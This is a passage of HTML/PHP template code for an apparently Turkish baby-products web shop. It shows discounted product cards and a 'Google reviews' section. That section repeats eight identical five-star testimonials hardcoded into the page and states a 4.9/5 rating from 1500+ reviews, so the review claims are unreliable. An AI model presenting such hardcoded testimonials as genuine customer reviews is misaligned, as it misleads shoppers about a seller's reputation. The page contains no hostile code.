                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Maması</span>
                        <a href="urun-detay.php?id=15437" class="sec-pcard-title">2 Organik Devam Sütü 600 gr 6+ Ay</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">590₺</span>
                                                        <span class="sec-pcard-cur">295₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(15437)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=329" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/kemik-sulu-balkabagi-corbasi-190-gr_8680075435260_01.jpg"
                            alt="Kemik Sulu Balkabağı Çorbası 190 gr" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Beslenme</span>
                        <a href="urun-detay.php?id=329" class="sec-pcard-title">Kemik Sulu Balkabağı Çorbası 190 gr</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">65₺</span>
                                                        <span class="sec-pcard-cur">33₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(329)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=5670" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/k_7613287213259_01.jpg"
                            alt="Optipro Probiyotik 2 Bebek Devam Sütü 800 gr 6-12 Ay" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Maması</span>
                        <a href="urun-detay.php?id=5670" class="sec-pcard-title">Optipro Probiyotik 2 Bebek Devam Sütü 800 gr 6-12 Ay</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">850₺</span>
                                                        <span class="sec-pcard-cur">425₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(5670)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=26653" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/e_8699745020804_01.jpg"
                            alt="4 Çocuk Devam Sütü 1000 gr 1+ Yaş" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Maması</span>
                        <a href="urun-detay.php?id=26653" class="sec-pcard-title">4 Çocuk Devam Sütü 1000 gr 1+ Yaş</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">1.169₺</span>
                                                        <span class="sec-pcard-cur">585₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(26653)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=287" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/b_5060062990485_01.jpg"
                            alt="Natural Wave Biberon Emziği Yavaş Akışlı" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                            <span style="background:linear-gradient(135deg,#0891b2,#0e7490);color:white;font-size:0.55rem;font-weight:800;padding:3px 6px;border-radius:5px;width:fit-content;">3 AL 2 ÖDE</span>
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Biberon</span>
                        <a href="urun-detay.php?id=287" class="sec-pcard-title">Natural Wave Biberon Emziği Yavaş Akışlı</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">420₺</span>
                                                        <span class="sec-pcard-cur">210₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(287)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                            </div>
        </div>
                <div style="margin-bottom:2.5rem;">
            <div style="display:flex; align-items:center; justify-content:space-between; margin-bottom:16px; flex-wrap:wrap; gap:10px;">
                <div style="display:flex; align-items:center; gap:12px;">
                                        <div style="width:42px; height:42px; background:rgba(16,185,129,0.1); border-radius:12px; display:flex; align-items:center; justify-content:center;">
                        <i class="fas fa-puzzle-piece" style="color:#10B981; font-size:1.1rem;"></i>
                    </div>
                    <div>
                        <h2 style="font-size:1.3rem; font-weight:800; color:#0f172a; margin:0; line-height:1.2;">Oyuncak & Kitap</h2>
                        <p style="font-size:0.82rem; color:#94a3b8; margin:2px 0 0; font-weight:500;">Eğitici oyuncaklar, kitaplar ve daha fazlası</p>
                    </div>
                </div>
                <a href="urunler.php?category=oyuncak-kitap" style="display:flex; align-items:center; gap:6px; background:#f1f5f9; color:#475569; padding:9px 18px; border-radius:25px; font-weight:700; font-size:0.82rem; text-decoration:none; transition:0.2s; border:1px solid #e2e8f0;" onmouseover="this.style.background='#10B981';this.style.color='white';this.style.borderColor='#10B981'" onmouseout="this.style.background='#f1f5f9';this.style.color='#475569';this.style.borderColor='#e2e8f0'">
                    Tümünü Gör <i class="fas fa-arrow-right" style="font-size:0.7rem;"></i>
                </a>
            </div>

            <div class="sec-product-scroll">
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=2044" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/buz-kupleri-zeka-mantik-ve-strateji-oyunu-buz-kirma-oyunu-buz-tuzagi_8681049071514_01.jpg"
                            alt="Buz Kırma" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Eğitici Oyuncaklar</span>
                        <a href="urun-detay.php?id=2044" class="sec-pcard-title">Buz Kırma</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">200₺</span>
                                                        <span class="sec-pcard-cur">100₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(2044)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=681" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/hali_8680075434720_01.jpg"
                            alt="Alfabe Bebek Oyun Halısı" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Oyuncak Bebekler</span>
                        <a href="urun-detay.php?id=681" class="sec-pcard-title">Alfabe Bebek Oyun Halısı</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">900₺</span>
                                                        <span class="sec-pcard-cur">450₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(681)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=1304" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/cikolata-yayinlari-avuc-ici-kitaplarim-dizisi-meyveler_9786059713528_01.jpg"
                            alt="Avuç içi Kitaplarım Dizisi Meyveler" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Kitapları</span>
                        <a href="urun-detay.php?id=1304" class="sec-pcard-title">Avuç içi Kitaplarım Dizisi Meyveler</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">70₺</span>
                                                        <span class="sec-pcard-cur">35₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(1304)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=980" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/isikli-mini-vin-vin_8680395722699_01.jpg"
                            alt="Işıklı Mini Vın Vın" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Eğitici Oyuncaklar</span>
                        <a href="urun-detay.php?id=980" class="sec-pcard-title">Işıklı Mini Vın Vın</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">1.199₺</span>
                                                        <span class="sec-pcard-cur">600₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(980)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=823" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/fisher-price-egitici-oyun-kumandasi_887961673579_01.jpg"
                            alt="Fisher Price Eğitici Oyun Kumandası" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Eğitici Oyuncaklar</span>
                        <a href="urun-detay.php?id=823" class="sec-pcard-title">Fisher Price Eğitici Oyun Kumandası</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">820₺</span>
                                                        <span class="sec-pcard-cur">410₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(823)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=1833" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/mint-gumus-beyaz-seffaf-havuz-toplari-50li-7-cm_8682766682649_01.jpg"
                            alt="Mint-Gümüş-Beyaz-Şeffaf Havuz Topları 50'li 7 cm" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Eğitici Oyuncaklar</span>
                        <a href="urun-detay.php?id=1833" class="sec-pcard-title">Mint-Gümüş-Beyaz-Şeffaf Havuz Topları 50'li 7 cm</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">220₺</span>
                                                        <span class="sec-pcard-cur">110₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(1833)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=539" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/onecell-ultra-premium-alkalin-aa-boy-pil-93_8699916114486_01.jpg"
                            alt="Ultra Premium Alkalin AA Boy Pil 9+3" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Oyuncak &amp; Kitap</span>
                        <a href="urun-detay.php?id=539" class="sec-pcard-title">Ultra Premium Alkalin AA Boy Pil 9+3</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">150₺</span>
                                                        <span class="sec-pcard-cur">75₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(539)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                                <div class="sec-pcard">
                    <a href="urun-detay.php?id=2040" class="sec-pcard-img">
                        <img src="https://cdn05.e-bebek.com/mnresize/600/600/media/p/uc-paytak-uc-minik-penguenin-buyuk-macerasi_9786053327981_01.jpg"
                            alt="Uç Paytak Uç Minik Penguenin Büyük Macerası" loading="lazy">
                        <div style="position:absolute;top:6px;left:6px;display:flex;flex-direction:column;gap:3px;z-index:2;">
                                                        <span style="background:linear-gradient(135deg,#89CFF0,#2E86C1);color:white;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;width:fit-content;">KAMPANYA</span>
                            <span style="background:white;color:#2E86C1;font-size:0.5rem;font-weight:700;padding:2px 6px;border-radius:4px;border:1px solid #89CFF0;width:fit-content;">%50 İNDİRİM</span>
                        </div>
                    </a>
                    <div class="sec-pcard-body">
                        <span class="sec-pcard-cat">Bebek Kitapları</span>
                        <a href="urun-detay.php?id=2040" class="sec-pcard-title">Uç Paytak Uç Minik Penguenin Büyük Macerası</a>
                        <div class="sec-pcard-price">
                                                        <span class="sec-pcard-old">70₺</span>
                                                        <span class="sec-pcard-cur">35₺</span>
                            <button class="sec-pcard-add" onclick="addToCart(2040)"><i class="fas fa-plus"></i></button>
                        </div>
                    </div>
                </div>
                            </div>
        </div>
            </div>
</section>
<style>
.sec-product-scroll {
    display:flex; gap:12px; overflow-x:auto; padding-bottom:10px;
    scroll-snap-type:x mandatory; -webkit-overflow-scrolling:touch;
    scrollbar-width:none;
}
.sec-product-scroll::-webkit-scrollbar { display:none; }
.sec-pcard {
    flex:0 0 152px; background:#fff; border-radius:14px; overflow:hidden;
    border:1px solid #e8f0fe; scroll-snap-align:start;
    display:flex; flex-direction:column; transition:box-shadow 0.2s;
}
.sec-pcard:hover { box-shadow:0 6px 20px rgba(0,0,0,0.08); }
.sec-pcard-img {
    display:block; width:100%; aspect-ratio:1/1; background:#fafbfc;
    overflow:hidden; position:relative;
}
.sec-pcard-img img {
    width:100%; height:100%; object-fit:contain; padding:8px;
}
.sec-pcard-body {
    padding:10px; display:flex; flex-direction:column; gap:4px; flex:1;
}
.sec-pcard-cat {
    font-size:0.62rem; color:#94a3b8; font-weight:600; text-transform:uppercase;
    letter-spacing:0.3px; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;
}
.sec-pcard-title {
    font-size:0.76rem; font-weight:700; color:#1e293b; text-decoration:none;
    display:-webkit-box; -webkit-line-clamp:2; -webkit-box-orient:vertical;
    overflow:hidden; line-height:1.3;
}
.sec-pcard-price {
    display:flex; align-items:center; gap:6px; margin-top:auto; flex-wrap:wrap;
}
.sec-pcard-old {
    font-size:0.65rem; text-decoration:line-through; color:#94a3b8; font-weight:600;
}
.sec-pcard-cur {
    font-size:1rem; font-weight:900; color:#2E86C1;
}
.sec-pcard-add {
    margin-left:auto; width:28px; height:28px; border-radius:8px;
    background:#EBF5FB; border:none; color:#2E86C1; cursor:pointer;
    display:flex; align-items:center; justify-content:center; font-size:0.7rem;
    transition:0.2s;
}
.sec-pcard-add:hover { background:#2E86C1; color:white; }
@media(min-width:600px) {
    .sec-pcard { flex:0 0 190px; }
    .sec-pcard-title { font-size:0.82rem; }
}
@media(min-width:900px) {
    .sec-pcard { flex:0 0 210px; }
}
</style>

<!-- GOOGLE REVIEWS (AUTO SCROLL) -->
<section class="reviews-section"
    style="margin-top: 0; padding-top: 3rem; border-top: 1px solid #e2e8f0; background: white;">
    <div class="container">
        <div class="reviews-header">
            <div class="rh-left">
                <img src="https://upload.wikimedia.org/wikipedia/commons/2/2f/Google_2015_logo.svg" alt="Google">
                <span>Müşteri Yorumları</span>
            </div>
            <div class="rh-right">
                <div class="stars">
                    <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i
                        class="fas fa-star"></i><i class="fas fa-star"></i>
                </div>
                <small>4.9 / 5.0 (1500+ Yorum)</small>
            </div>
        </div>

        <div class="reviews-scroll-container" id="reviewsScroll">
            
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">A</div>
                            <div class="rc-meta">
                                <strong>Ahmet Y.</strong>
                                <span>2 gün önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bebek arabası çok kaliteli geldi, paketleme mükemmeldi. Aynı gün teslimat süper!</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">M</div>
                            <div class="rc-meta">
                                <strong>Mehmet K.</strong>
                                <span>1 hafta önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Molfix bezleri orijinal ve uygun fiyatlı. Yetkili satıcı olmaları güven veriyor.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">A</div>
                            <div class="rc-meta">
                                <strong>Ayşe T.</strong>
                                <span>3 gün önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Paketleme çok özenliydi teşekkürler. Ürünler sağlam geldi.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">B</div>
                            <div class="rc-meta">
                                <strong>Burak S.</strong>
                                <span>Dün</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bu fiyata bulamazsınız başka yerde. Bebek ürünlerinde en iyisi.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">C</div>
                            <div class="rc-meta">
                                <strong>Canan D.</strong>
                                <span>5 gün önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Fiyat performans ürünü, harika. Satıcı ilgili.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">E</div>
                            <div class="rc-meta">
                                <strong>Emre A.</strong>
                                <span>1 ay önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Satıcı çok ilgili, hemen kargoladı. Paket gayet sağlam geldi.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">S</div>
                            <div class="rc-meta">
                                <strong>Selin K.</strong>
                                <span>2 hafta önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bebek bezleri orijinal, fiyatı da çok uygun. Teşekkürler!</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">V</div>
                            <div class="rc-meta">
                                <strong>Volkan B.</strong>
                                <span>3 hafta önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bebeğimiz için aldık, orijinal ürün ve hızlı kargo.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">A</div>
                            <div class="rc-meta">
                                <strong>Ahmet Y.</strong>
                                <span>2 gün önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bebek arabası çok kaliteli geldi, paketleme mükemmeldi. Aynı gün teslimat süper!</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">M</div>
                            <div class="rc-meta">
                                <strong>Mehmet K.</strong>
                                <span>1 hafta önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Molfix bezleri orijinal ve uygun fiyatlı. Yetkili satıcı olmaları güven veriyor.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">A</div>
                            <div class="rc-meta">
                                <strong>Ayşe T.</strong>
                                <span>3 gün önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Paketleme çok özenliydi teşekkürler. Ürünler sağlam geldi.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">B</div>
                            <div class="rc-meta">
                                <strong>Burak S.</strong>
                                <span>Dün</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bu fiyata bulamazsınız başka yerde. Bebek ürünlerinde en iyisi.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">C</div>
                            <div class="rc-meta">
                                <strong>Canan D.</strong>
                                <span>5 gün önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Fiyat performans ürünü, harika. Satıcı ilgili.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">E</div>
                            <div class="rc-meta">
                                <strong>Emre A.</strong>
                                <span>1 ay önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Satıcı çok ilgili, hemen kargoladı. Paket gayet sağlam geldi.</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">S</div>
                            <div class="rc-meta">
                                <strong>Selin K.</strong>
                                <span>2 hafta önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
                        <p class="rc-text">Bebek bezleri orijinal, fiyatı da çok uygun. Teşekkürler!</p>
                    </div>
                    <div class="review-card-fixed">
                        <div class="rc-top">
                            <div class="rc-avatar">V</div>
                            <div class="rc-meta">
                                <strong>Volkan B.</strong>
                                <span>3 hafta önce</span>
                            </div>
                            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c1/Google_%22G%22_logo.svg" class="g-mini">
                        </div>
                        <div class="rc-stars-mini">
                            <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
                        </div>
